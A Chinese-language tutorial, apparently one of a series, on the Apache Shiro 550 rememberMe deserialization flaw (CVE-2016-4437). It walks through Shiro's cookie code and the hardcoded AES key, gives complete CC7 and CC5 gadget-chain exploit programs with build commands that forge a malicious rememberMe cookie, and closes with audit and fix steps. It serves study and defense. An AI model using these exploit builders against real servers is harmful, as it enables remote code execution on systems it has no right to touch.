1. Apache Shiro 是什么

Apache Shiro 是一个 Java 安全框架,提供身份认证、授权、加密和会话管理功能。在很多 Java Web 项目中,Shiro 被用来处理登录、权限控制和“记住我”功能。

Shiro 的“记住我”功能通过一个名为 rememberMe 的 Cookie 实现。用户登录时勾选“记住我”,Shiro 会把用户身份信息序列化后存入这个 Cookie。下次请求时,Shiro 从 Cookie 中读取并恢复用户身份,实现自动登录。Shiro 的特征是:收到无效 rememberMe Cookie 后,响应头会包含 Set-Cookie: rememberMe=deleteMe

shiro.png

前两篇已经讲过 Java 原生反序列化机制和 CC 链的构造方法。本文不再重复这些内容,重点讲 Shiro 如何成为反序列化漏洞的新入口,以及 Cookie、加密、密钥和框架数据流在其中的作用。

2. rememberMe Cookie 的处理流程及漏洞原因

Shiro 处理 rememberMe Cookie 的核心代码分散在几个类中。

2.1 从后端身份信息到前端 rememberMe Cookie

让我们先看看 Shiro 如何生成身份信息并交给前端 rememberMe Cookie 的。如果用户在登录时勾选了“记住我”,就会在提交登录表单时携带 rememberMe 参数,在登录成功后,调用 rememberIdentity 把用户身份信息传递给 convertPrincipalsToBytesAbstractRememberMeManager.java#L345-L348

protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
    // accountPrincipals 是登录成功后的用户身份信息
    // convertPrincipalsToBytes() 会把身份信息转换成字节数组
    byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
    // 把转换后的字节数组写入 rememberMe Cookie
    rememberSerializedIdentity(subject, bytes);
}

convertPrincipalsToBytes() 会先序列化身份信息,再进行 AES 加密:AbstractRememberMeManager.java#L359-L365

protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
    // 第一步:把 PrincipalCollection 序列化成 Java 原生序列化字节数组
    byte[] bytes = serialize(principals);
    if (getCipherService() != null) {
        // 第二步:对序列化后的字节数组做 AES 加密
        bytes = encrypt(bytes);
    }
    // 返回的 bytes 已经是加密后的字节数组
    return bytes;
}

encrypt() 中调用 cipherService.encrypt(),并使用 getEncryptionCipherKey() 取 AES 加密密钥:AbstractRememberMeManager.java#L469-L477

protected byte[] encrypt(byte[] serialized) {
    byte[] value = serialized;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        // serialized 是 Java 原生序列化数据
        // getEncryptionCipherKey() 返回 rememberMe 的 AES 加密密钥
        ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
        // value 是 AES 加密后的字节数组
        value = byteSource.getBytes();
    }
    return value;
}

最后 rememberSerializedIdentity() 把 AES 加密后的字节数组做 Base64 编码,并写入前端 Cookie:CookieRememberMeManager.java#L135-L158

protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
    // 省略 HTTP 上下文检查...

    HttpServletRequest request = WebUtils.getHttpRequest(subject);
    HttpServletResponse response = WebUtils.getHttpResponse(subject);

    // serialized 是 AES 加密后的字节数组
    // 这里做 Base64 编码,变成适合放入 Cookie 的字符串
    String base64 = Base64.encodeToString(serialized);

    Cookie template = getCookie();
    Cookie cookie = new SimpleCookie(template);
    // 把 Base64 字符串设置为 rememberMe Cookie 的值
    cookie.setValue(base64);
    // 通过 Set-Cookie 响应头写回浏览器
    cookie.saveTo(request, response);
}

整个流程如下:

  • 用户勾选“记住我”,登录成功后,调用 rememberIdentity 把用户身份信息传递给 convertPrincipalsToBytes
  • 调用 serialize 序列化身份信息
  • 再调用 encrypt AES 加密,然后交给 rememberSerializedIdentity
  • 调用 Base64.encodeToString 做 Base64 编码
  • 调用 cookie.setValue 设置 rememberMe Cookie 的值
  • 调用 cookie.saveTo 写入响应头

2.2 从前端 rememberMe Cookie 到 Java 对象恢复

现在看看数据是怎么从前端 rememberMe Cookie 进入 readObject() 的。

Shiro 先从 HTTP 请求中获取 rememberMe Cookie 的值,并做 Base64 解码:CookieRememberMeManager.java#L185-L224

protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

    if (!WebUtils.isHttp(subjectContext)) {
        if (log.isDebugEnabled()) {
            String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +
                    "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
                    "immediately and ignoring rememberMe operation.";
            log.debug(msg);
        }
        return null;
    }

    WebSubjectContext wsc = (WebSubjectContext) subjectContext;
    if (isIdentityRemoved(wsc)) {
        return null;
    }

    // 从 HTTP 请求中取出 rememberMe Cookie 的值
    HttpServletRequest request = WebUtils.getHttpRequest(wsc);
    HttpServletResponse response = WebUtils.getHttpResponse(wsc);
    String base64 = getCookie().readValue(request, response);

    // Browsers do not always remove cookies immediately (SHIRO-183)
    // ignore cookies that are scheduled for removal
    if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

    if (base64 != null) {
        base64 = ensurePadding(base64);
        if (log.isTraceEnabled()) {
            log.trace("Acquired Base64 encoded identity [" + base64 + "]");
        }
        // 对 Cookie 值做 Base64 解码,返回字节数组
        byte[] decoded = Base64.decode(base64);
        if (log.isTraceEnabled()) {
            log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
        }
        return decoded;
    } else {
        //no cookie set - new site visitor?
        return null;
    }
}

getRememberedPrincipals() 会把 getRememberedSerializedIdentity() 返回的 decoded 字节数组交给 convertBytesToPrincipals()AbstractRememberMeManager.java#L390-L403

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;
    try {
        // bytes 就是 CookieRememberMeManager 中 Base64.decode(base64) 返回的字节数组
        byte[] bytes = getRememberedSerializedIdentity(subjectContext);
        // 只有拿到 rememberMe Cookie 数据后,才继续解密和反序列化
        if (bytes != null && bytes.length > 0) {
            principals = convertBytesToPrincipals(bytes, subjectContext);
        }
    } catch (RuntimeException re) {
        principals = onRememberedPrincipalFailure(re, subjectContext);
    }

    return principals;
}

convertBytesToPrincipals() 会对 bytes 做 AES 解密,然后把解密后的字节数组交给 deserialize()AbstractRememberMeManager.java#L427-L432

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (getCipherService() != null) {
        // bytes 是 Base64 解码后的 Cookie 数据
        // decrypt(bytes) 会使用 AES 密钥解密,返回原始序列化数据
        bytes = decrypt(bytes);
    }
    // 解密后的 bytes 继续进入 deserialize()
    return deserialize(bytes);
}

decrypt() 中真正调用 cipherService.decrypt(),并使用 getDecryptionCipherKey() 取 AES 解密密钥:AbstractRememberMeManager.java#L485-L493

protected byte[] decrypt(byte[] encrypted) {
    byte[] serialized = encrypted;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        // encrypted 是 Base64 解码后的 Cookie 数据
        // getDecryptionCipherKey() 返回 rememberMe 的 AES 解密密钥
        ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
        // serialized 是 AES 解密后的 Java 原生序列化数据
        serialized = byteSource.getBytes();
    }
    return serialized;
}

最终 deserialize() 调用 Serializer 接口,默认实现是 DefaultSerializer。它内部创建 ObjectInputStream 并调用 readObject()DefaultSerializer.java#L67-L84

public T deserialize(byte[] serialized) throws SerializationException {
    if (serialized == null) {
        String msg = "argument cannot be null.";
        throw new IllegalArgumentException(msg);
    }
    // serialized 是 AES 解密后的 Java 原生序列化数据
    ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
    BufferedInputStream bis = new BufferedInputStream(bais);
    try {
        ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
        @SuppressWarnings({"unchecked"})
        // source 入口:Cookie 中的攻击数据最终进入 readObject()
        T deserialized = (T) ois.readObject();
        ois.close();
        return deserialized;
    } catch (Exception e) {
        String msg = "Unable to deserialze argument byte array.";
        throw new SerializationException(msg, e);
    }
}

总结一下 Shiro 处理 rememberMe Cookie 的流程:

  • 先从 HTTP 请求中获取 rememberMe Cookie 的值:CookieRememberMeManager.getRememberedSerializedIdentity()
  • 对 Cookie 值做 Base64 解码:Base64.decode(base64)
  • 把 Base64 解码后的 Cookie 数据交给 convertBytesToPrincipals()
  • 调用 decrypt() 做 AES 解密
  • 把 AES 解密后的字节数组交给 deserialize() 进行反序列化
  • 反序列化后的对象会进入 ObjectInputStream.readObject(),触发危险调用路径

设计上看起来挺安全的,序列化数据经过了加密和 Base64 编码后才交给前端,相当于上了一把锁,只要 AES 密钥不泄露,解密不成功的数据就会被丢弃,不会被 ObjectInputStream.readObject() 调用。

但是问题出在了没有遵循默认安全原则,默认 AES 密钥硬编码在了代码中。AbstractRememberMeManager.java#L80

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

这就导致攻击者可以用这个密钥加密任意的序列化数据,然后通过 rememberMe Cookie 传递给 Shiro,它就会自己解密并反序列化数据,结合上篇的 CC 链就可获取服务器控制权,具体用哪个 CC 链,取决于业务运行环境中的 Java 版本和 jar 组件和版本。这就是 Apache Shiro rememberMe 反序列化漏洞的原因,只要获得了 AES 密钥,就可以获取服务器权限。

这个漏洞业内通常称为 Shiro 550(对应 CVE-2016-4437)。受影响版本为 Shiro < 1.2.5,该版本范围内部署了硬编码的 AES 密钥。实际中并不是只有这一个密钥,不同项目可能使用不同的硬编码密钥,很多 Shiro 利用工具内置了数百个常见密钥的字典,通过尝试 rememberMe Cookie 解密是否成功来爆破密钥,爆破成功后就可以利用 CC 链获取服务器权限。

3. 搭建 Lab 环境验证漏洞

为了让实验更接近真实场景,这里把 Lab 拆成两部分:

  1. 漏洞环境:一个使用 Shiro 1.2.4 的 Web 登录页面,用户输入用户名、密码,勾选“记住我”后提交。服务端生成和解析 Cookie。
  2. 攻击代码:单独构造恶意 rememberMe Cookie 的代码。

目录结构如下:

shiro550-lab/
├── attacker/
│   ├── out/
│   ├── Shiro550AttackBuilder.java        # 使用 CC7 构建恶意序列化数据的代码
│   └── Shiro550CC5AttackBuilder.java     # 使用 CC5 构建恶意序列化数据的代码
├── lib/
│   ├── commons-collections-3.2.1.jar
│   ├── shiro-core-1.2.4.jar              # Shiro 核心依赖
│   └── slf4j-api-1.7.7.jar               # Shiro 运行时依赖,用于日志记录
└── vulnerable-server/
    ├── out/
    └── Shiro550VulnerableServer.java     # 漏洞环境代码

Lab 地址:https://github.com/NHPT/Java-Deserialization-Lab/tree/main/shiro550-lab

lib 目录就是业务环境的 classpath,其中是业务环境和攻击者代码依赖的 jar 包下载地址:

本文使用 JDK 自带的 HttpServer 搭登录页,同时复用 shiro-core-1.2.4.jar 中的 AbstractRememberMeManagerAesCipherServiceDefaultSerializer

按实际业务场景使用 Shiro 的 rememberMe 逻辑,Shiro550VulnerableServer.java 代码:Shiro550VulnerableServer.java

3.1 CC7 利用漏洞

这里我们先使用 CC7 来作为本文实验的 gadget 链。前面的文字我们已经学习了 HashMap 和 LazyMap,现在我们用一段示例代码学习 CC7 中需要的 Hashtable 的用法:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.Serializable;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7MethodDemo {
    // 定义一个 LoggingTransformer 类,实现了 Transformer 接口和 Serializable 接口
    private static class LoggingTransformer implements Transformer, Serializable {
        private static final long serialVersionUID = 1L;
        // 实现 Transformer 接口的 transform() 方法,打印 key 并返回 2
        // 我们不手动调用 transform(),让我们看看它如何被调用
        @Override
        public Object transform(Object input) {
            System.out.println("- transform 方法被调用,key = " + input);
            return 2;
        }
    }

    public static void main(String[] args) throws Exception {
        // 创建一个 LoggingTransformer 实例
        LoggingTransformer tableTransformer = new LoggingTransformer();
        // 创建两个 HashMap 实例,作为原始 Map 实例
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        // 用 LazyMap 装饰 innerMap1 和 innerMap2
        Map lazyMap1 = LazyMap.decorate(innerMap1, tableTransformer);
        Map lazyMap2 = LazyMap.decorate(innerMap2, tableTransformer);

        // 给 lazyMap1 和 lazyMap2 添加 key-value 对
        lazyMap1.put("yy", 1);
        lazyMap2.put("zZ", 1);
        // 打印 hashCode() 结果,可以看到 "yy" 和 "zZ" 的 hashCode() 相同,所以 lazyMap1 和 lazyMap2 的 hashCode() 相同
        System.out.println("\"yy\".hashCode() = " + "yy".hashCode());
        System.out.println("\"zZ\".hashCode() = " + "zZ".hashCode());
        System.out.println("lazyMap1.hashCode() = " + lazyMap1.hashCode());
        System.out.println("lazyMap2.hashCode() = " + lazyMap2.hashCode());
        System.out.println();

        // 创建一个 Hashtable 实例,
        Hashtable table = new Hashtable();
        // 添加 lazyMap 装饰后的实例作为 key 的键值对给 Hashtable 实例
        // 因为 LazyMap 的 equals() 方法会触发 LazyMap.get() 方法
        table.put(lazyMap1, 1);
        table.put(lazyMap2, 2);

        // 第二次 table.put(lazyMap2, 2) 时,因为 lazyMap1 和 lazyMap2 的 hashCode 相同,Hashtable 会进一步调用 equals() 方法比较这两个 key 是否相等。
        // 比较过程中会触发 LazyMap.get(),并让 LazyMap 自动补上对方的 key。删掉这些临时补上的 key,可以保证在反序列化时触发 factory.transform() 方法
        lazyMap1.remove("zZ");
        lazyMap2.remove("yy");

        // 序列化 Hashtable 实例,序列化后的字节数组赋值给 bytes
        ByteArrayOutputStream bytes = new ByteArrayOutputStream();
        try (ObjectOutputStream out = new ObjectOutputStream(bytes)) {
            out.writeObject(table);
        }

        System.out.println("- 反序列化过程");
        // 反序列化 Hashtable 实例
        try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes.toByteArray()))) {
            in.readObject();
        }
    }
}

编译运行:

cd shiro550-lab
# 将上面的代码保存为 CC7MethodDemo.java
javac -encoding UTF-8 -cp 'lib/*' CC7MethodDemo.java
java -cp '.:lib/*' CC7MethodDemo

输出结果为:

"yy".hashCode() = 3872
"zZ".hashCode() = 3872
lazyMap1.hashCode() = 3873
lazyMap2.hashCode() = 3873

- transform 方法被调用,key = yy
- 反序列化过程
- transform 方法被调用,key = yy

我们没有手动调用 transform() 方法,但却被调用了两次,一次是 table.put(lazyMap2, 2); 时,一次是反序列化 Hashtable 时。可见,Hashtable 会在以 LazyMap 为 key 的情况下调用 hashCode 方法,当 hashCode 值相同时调用 LazyMap.equals() 方法,从而触发调用 LazyMap.get() 方法,当发现目标 key 不存在时,调用 factory.transform() 方法。

理解这个桥梁后,再结合上篇提到的 CC7 链和本 Lab 的 source 入口,我们就可以构造如下调用链:

  • source 入口:ObjectInputStream.readObject() 方法
  • 反序列化 Hashtable 对象时,进入 Hashtable.readObject() 方法
  • Hashtable.readObject() 恢复 key 时,因为两个 LazyMap key 发生 hash 碰撞,触发 key 的 equals 比较
  • LazyMap.equals() 间接触发 LazyMap.get() 方法
  • LazyMap.get() 发现目标 key 不存在,调用 factory.transform() 方法
  • 然后调用 ChainedTransformer.transform() 方法
  • ChainedTransformer 依次执行五个 Transformer:

    • ConstantTransformer(ProcessBuilder.class) 提供起点
    • InvokerTransformer("getConstructor") 获取构造方法
    • InvokerTransformer("newInstance") 创建 ProcessBuilder 实例
    • InvokerTransformer("inheritIO") 让输出继承到终端
    • InvokerTransformer("start") 启动进程执行命令
  • sink:id 命令被执行,结果输出到终端

现在用代码实现这个过程,代码如下Shiro550AttackBuilder.java:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class Shiro550AttackBuilder {
    public static void main(String[] args) throws Exception {
        // 1. 先定义 ChainedTransformer 最终要执行的五个 Transformer。
        Transformer[] realTransformers = new Transformer[]{
                // 第一步:提供 ProcessBuilder.class 作为后续反射调用的起点。
                new ConstantTransformer(ProcessBuilder.class),
                // 第二步:反射调用 ProcessBuilder.class.getConstructor(String[].class),获取构造方法。
                new InvokerTransformer(
                        "getConstructor",
                        new Class[]{Class[].class},
                        new Object[]{new Class[]{String[].class}}
                ),
                // 第三步:反射调用 Constructor.newInstance(),创建 ProcessBuilder("id")。
                new InvokerTransformer(
                        "newInstance",
                        new Class[]{Object[].class},
                        new Object[]{new Object[]{new String[]{"id"}}}
                ),
                // 第四步:调用 inheritIO(),让 id 命令输出显示在漏洞环境终端。
                new InvokerTransformer("inheritIO", new Class[0], new Object[0]),
                // 第五步:调用 start(),真正启动进程执行命令。
                new InvokerTransformer("start", new Class[0], new Object[0])
        };

        // 2. 构造 CC7 触发对象图之前,先把 ChainedTransformer 设置成无害链。
        // 前边我们已经看到第二次调用 Hashtable.put() 方法时,会间接触发 factory.transform() 方法。如果此时已经放入 realTransformers,命令会在攻击者本机构造 payload 时提前执行。
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                // 构造 Hashtable 时会发生一次 key 比较。这里返回 2,避免两个 LazyMap 在构造阶段被判断为相等并合并。
                new ConstantTransformer(2)
        });

        // 3. 构造 CC7 的核心对象图:两个 LazyMap 作为 Hashtable 的 key。
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        Map lazyMap1 = LazyMap.decorate(innerMap1, chain);
        Map lazyMap2 = LazyMap.decorate(innerMap2, chain);

        // "yy" 和 "zZ" 的 hashCode 相同,用于让 Hashtable 反序列化时进入 key equals 比较。
        lazyMap1.put("yy", 1);
        lazyMap2.put("zZ", 1);

        Hashtable table = new Hashtable();
        table.put(lazyMap1, 1);
        table.put(lazyMap2, 2);

        // 两个方向都删除一次,保证不同 JDK 的 Hashtable 比较顺序下,反序列化时仍会触发 LazyMap.get()。
        lazyMap1.remove("zZ");
        lazyMap2.remove("yy");

        // 4. CC7 对象图准备好后,再把无害 Transformer 数组替换成真实命令链。
        // 这样触发点仍然在 Hashtable / LazyMap,真正执行动作发生在 ChainedTransformer.transform()。
        Field transformersField = ChainedTransformer.class.getDeclaredField("iTransformers");
        transformersField.setAccessible(true);
        transformersField.set(chain, realTransformers);

        // 5. 序列化 CC7 对象图。
        // Shiro 解密 rememberMe 后,最终会把这段字节交给 ObjectInputStream.readObject()。
        ByteArrayOutputStream serializedBytes = new ByteArrayOutputStream();
        try (ObjectOutputStream out = new ObjectOutputStream(serializedBytes)) {
            out.writeObject(table);
        }

        // 6. 使用 Shiro 1.2.4 默认 rememberMe 密钥加密 payload。
        // 这一步只是把 CC7 序列化数据包装成 Shiro 能识别的 rememberMe Cookie。
        byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        AesCipherService cipherService = new AesCipherService();
        ByteSource encrypted = cipherService.encrypt(serializedBytes.toByteArray(), key);
        String rememberMe = Base64.encodeToString(encrypted.getBytes());

        // 只输出 Cookie 值,方便终端用 COOKIE=$(java ...) 接住后直接发送 HTTP 请求。
        System.out.println(rememberMe);
    }
}

先编译漏洞环境和攻击代码:

# 创建需要的目录
cd shiro550-lab
mkdir -p vulnerable-server/out attacker/out
# 编译漏洞环境
javac -encoding UTF-8 -cp 'lib/*' -d vulnerable-server/out vulnerable-server/Shiro550VulnerableServer.java
# 编译 CC7 攻击代码
javac -encoding UTF-8 -cp 'lib/*' -d attacker/out attacker/Shiro550AttackBuilder.java
# 启动漏洞环境
java -cp 'vulnerable-server/out:lib/*' Shiro550VulnerableServer

启动成功后会看到:

shiro550_lab.png

另开一个终端,在 shiro550-lab/ 目录执行攻击代码:java -cp 'attacker/out:lib/*' Shiro550AttackBuilder,然后就可以看到生成的 rememberMe Cookie 值。

rememberMe_cookie.png

然后提交生成的 rememberMe Cookie 给漏洞环境:

post_cookie.png

在漏洞环境所在的终端会打印 id 命令执行结果:

shiro_success.png

3.2 CC5 利用漏洞

CC1、CC6、CC7 都学完了,我们再来看看 CC5 的利用方式。CC5 和 CC7 的后半段仍然类似,最终都会进入 LazyMap.get()ChainedTransformer.transform()。差异在前半段触发点:

  • CC7:Hashtable -> LazyMap
  • CC5:BadAttributeValueExpException -> TiedMapEntry -> LazyMap

结合上篇提到的 CC5 链和本 Lab 的 source 入口,我们可以构造如下调用链:

  • source 入口:ObjectInputStream.readObject() 方法
  • 反序列化 BadAttributeValueExpException 对象时,进入 BadAttributeValueExpException.readObject() 方法
  • BadAttributeValueExpException.readObject() 恢复 val 字段时触发 val.toString()
  • 如果 val 字段中保存的是 TiedMapEntry,就会进入 TiedMapEntry.toString() 方法
  • TiedMapEntry.toString() 触发 TiedMapEntry.getValue() 方法
  • TiedMapEntry.getValue() 触发 LazyMap.get() 方法
  • LazyMap.get() 发现目标 key 不存在,调用 factory.transform() 方法
  • 然后调用 ChainedTransformer.transform() 方法
  • ChainedTransformer 依次执行五个 Transformer:

    • ConstantTransformer(ProcessBuilder.class) 提供起点
    • InvokerTransformer("getConstructor") 获取构造方法
    • InvokerTransformer("newInstance") 创建 ProcessBuilder 实例
    • InvokerTransformer("inheritIO") 让输出继承到终端
    • InvokerTransformer("start") 启动进程执行命令
  • sink:id 命令被执行,结果输出到终端

CC5 依赖 BadAttributeValueExpException.val 字段能保存 TiedMapEntry 这类对象。在大多数主流JDK 8版本上,CC5依然是有效的,在高版本 JDK中,由于val字段的声明类型发生了变化,导致无法以相同方式构造利用链。所以本文把 CC5 作为兼容性补充链讲解,实际验证建议使用 JDK 8 环境。

CC5 版本的攻击代码如下Shiro550CC5AttackBuilder.java:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Shiro550CC5AttackBuilder {
    public static void main(String[] args) throws Exception {
        // 1. 先定义最终执行命令的 Transformer 链。
        // 这部分和 CC7 后半段一致:最终调用 ProcessBuilder("id").inheritIO().start()。
        Transformer[] realTransformers = new Transformer[]{
                new ConstantTransformer(ProcessBuilder.class),
                new InvokerTransformer(
                        "getConstructor",
                        new Class[]{Class[].class},
                        new Object[]{new Class[]{String[].class}}
                ),
                new InvokerTransformer(
                        "newInstance",
                        new Class[]{Object[].class},
                        new Object[]{new Object[]{new String[]{"id"}}}
                ),
                new InvokerTransformer("inheritIO", new Class[0], new Object[0]),
                new InvokerTransformer("start", new Class[0], new Object[0])
        };

        // 2. 构造对象图时先使用无害 Transformer,避免本地构造 payload 时提前执行命令。
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(1)
        });

        // 3. CC5 的核心是 BadAttributeValueExpException -> TiedMapEntry -> LazyMap。
        // 反序列化 BadAttributeValueExpException 时会触发 val.toString()。
        // 如果 val 是 TiedMapEntry,就会继续触发 TiedMapEntry.getValue() -> LazyMap.get()。
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, chain);
        
        // TiedMapEntry 绑定 LazyMap 和 key。调用 entry.toString() 时会调用 LazyMap.get("shiro")。
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "shiro");
        
        // 创建 BadAttributeValueExpException 实例,并设置 val 为 null,避免构造阶段提前调用 toString()。
        BadAttributeValueExpException payload = new BadAttributeValueExpException(null);

        // 获取私有字段 val
        Field valField = BadAttributeValueExpException.class.getDeclaredField("val");

        // 标准 CC5 依赖 JDK 8 中 val 字段可以保存任意 Object。
        // 高版本 JDK 中该字段已经变成 String,无法再塞入 TiedMapEntry。
        if (!Object.class.equals(valField.getType())) {
            throw new IllegalStateException(
                    "当前 JDK 中 BadAttributeValueExpException.val 字段类型是 "
                            + valField.getType().getName()
                            + ",标准 CC5 需要该字段能保存 Object。请使用 JDK 8 环境验证 CC5。"
            );
        }

        // 把 val 字段替换成 TiedMapEntry
        // 反序列化时,readObject() 调用 val.toString(),才会进入 TiedMapEntry.toString() -> LazyMap.get("shiro")。
        // 因为 LazyMap 不存在 "shiro" 键,所以会触发 factory.transform() 方法。
        valField.setAccessible(true);
        valField.set(payload, entry);

        // 4. 对象图准备好后,再把无害 Transformer 替换成真实命令链。
        Field transformersField = ChainedTransformer.class.getDeclaredField("iTransformers");
        transformersField.setAccessible(true);
        transformersField.set(chain, realTransformers);

        // 5. 序列化 CC5 对象图。
        ByteArrayOutputStream serializedBytes = new ByteArrayOutputStream();
        try (ObjectOutputStream out = new ObjectOutputStream(serializedBytes)) {
            out.writeObject(payload);
        }

        // 6. 使用 Shiro 1.2.4 默认 rememberMe 密钥加密 payload,并输出 Cookie 值。
        byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        AesCipherService cipherService = new AesCipherService();
        ByteSource encrypted = cipherService.encrypt(serializedBytes.toByteArray(), key);
        String rememberMe = Base64.encodeToString(encrypted.getBytes());

        System.out.println(rememberMe);
    }
}

编译和运行:

javac -encoding UTF-8 -cp 'lib/*' -d attacker/out attacker/Shiro550CC5AttackBuilder.java
java -cp 'attacker/out:lib/*' Shiro550CC5AttackBuilder

4. 审计与防御

4.1 常见失败原因

  1. 密钥不匹配:不同版本的 Shiro 默认密钥可能不同,或者项目自定义了密钥。需要从配置或源码中确认。
  2. Shiro 版本:Shiro 1.2.4 及以下使用固定密钥,1.2.5+ 需要显式配置。高版本如果仍然使用硬编码密钥,漏洞依然存在。
  3. Cookie 长度限制:CC 链的 payload 经过 AES 加密和 Base64 编码后可能很长,浏览器、代理或 Web 容器都可能限制请求头大小,需要调整环境或换用更短的链。
  4. JDK 版本:CC1 链需要 JDK 8u71 以下;CC5 依赖旧版 JDK 中 BadAttributeValueExpException.val 字段能保存对象;高版本通常换用 CC6、CC7 等触发点。
  5. 反序列化过滤:如果目标配置了 ObjectInputFilter 或升级了 Shiro 版本(1.7.0+ 移除了默认密钥),漏洞可能失效。

4.2 如何判断风险

审计项目时按以下顺序排查:

第一,确认 Shiro 版本:检查 pom.xmllib 目录中 Shiro 版本是否 ≤ 1.2.4(默认硬编码密钥)或显式配置了固定密钥。

第二,找密钥:搜索 setCipherKeyrememberMecipherKey 等关键字,确认密钥是否可被获取。

第三,检查 classpath:确认 Commons Collections 是否存在(同上一篇的审计方法)。

第四,确认入口:Shiro 的 rememberMe Cookie 解析链路是否被禁用或自定义过滤。

4.3 修复与防御

  • 升级 Shiro 到 1.7.0 或更高版本(移除了默认硬编码密钥)。
  • 如果必须使用 rememberMe,使用随机生成的强密钥,不要使用默认值或示例代码中的密钥。
  • 定期轮换密钥。
  • 如果不需要 rememberMe 功能,直接禁用。
  • 在反序列化入口添加 ObjectInputFilter 白名单。
  • 升级或移除 Commons Collections 旧版本依赖。

5. 本文小结

读完本文后,你应该掌握这些内容:

  • Shiro rememberMe Cookie 的处理流程:Base64 解码 → AES 解密 → readObject()。
  • Shiro 漏洞的新增点不是 gadget 链,而是 Cookie + 加密这个新入口。
  • 密钥硬编码是漏洞成立的关键条件。
  • Shiro 利用链的构造流程:CC 链 -> 序列化 -> Shiro AES 加密 -> Base64 编码 -> rememberMe Cookie。
  • CC7 使用 Hashtable -> LazyMap 触发点。
  • CC5 使用 BadAttributeValueExpException -> TiedMapEntry -> LazyMap 触发点。高版本中,由于val字段的声明类型发生了变化,导致无法以相同方式构造利用链。
  • 审计时先找密钥,再确认版本和 classpath。
  • 修复的核心是替换硬编码密钥或升级 Shiro 版本。

下一篇将继续讲 WebLogic 反序列化漏洞,涉及企业中间件协议入口和服务端对象恢复机制。